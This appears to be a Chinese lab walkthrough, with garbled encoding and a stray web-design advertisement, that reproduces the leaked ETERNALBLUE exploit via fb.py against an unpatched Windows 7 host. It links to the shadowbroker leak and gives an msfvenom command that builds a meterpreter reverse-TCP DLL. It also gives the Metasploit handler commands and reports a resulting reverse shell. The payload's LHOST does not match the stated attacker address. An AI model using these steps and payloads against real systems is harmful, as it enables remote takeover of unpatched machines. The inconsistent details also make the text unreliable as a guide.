方程式ETERNALBLUE?之fb.py的復(fù)現(xiàn)

創(chuàng)新互聯(lián)-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價比雙遼網(wǎng)站開發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式雙遼網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們，業(yè)務(wù)覆蓋雙遼地區(qū)。費用合理售后完善，十年實體公司更值得信賴。

1.環(huán)境簡介
***機win2003
ip:192.168.1.105
***機kali:
ip:192.168.1.106
靶機（被***機）window7 x64(未裝smb漏洞補?。?br/>ip:192.168.1.100

2.windows2003***機
***機win2003安裝環(huán)境：
python-2.6.6.msi
https://www.python.org/download/releases/2.6.6/
pywin32-221.win-amd64-py2.6.exe：
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
方程式ETERNALBLUE 下載地址：
https://codeload.github.com/misterch0c/shadowbroker/zip/master

安裝好python后，需要在win2003設(shè)置環(huán)境變量：

將整個ETERNALBLUE?目錄下的 windows拷貝到***機win2003上

在windows目錄下建立一個文件為：listeningposts
運行phthon fb.py
以下在***機win2003上執(zhí)行fb.py的具體命令重要命令如下，其他命令都用回車執(zhí)行。

3***機kali上
利用msf生成一個dll劫持文件：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=5555 -f dll > /opt/s.dll

將s.dll文件拷貝到windows2003的C盤目錄下：

在msf下開啟msfpaylod監(jiān)聽：
use exploit/multi/handler
set lhost 192.168.1.106
set lport 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

4.接著在windows2003下執(zhí)行

最后在msf下可以看到成功反彈shell: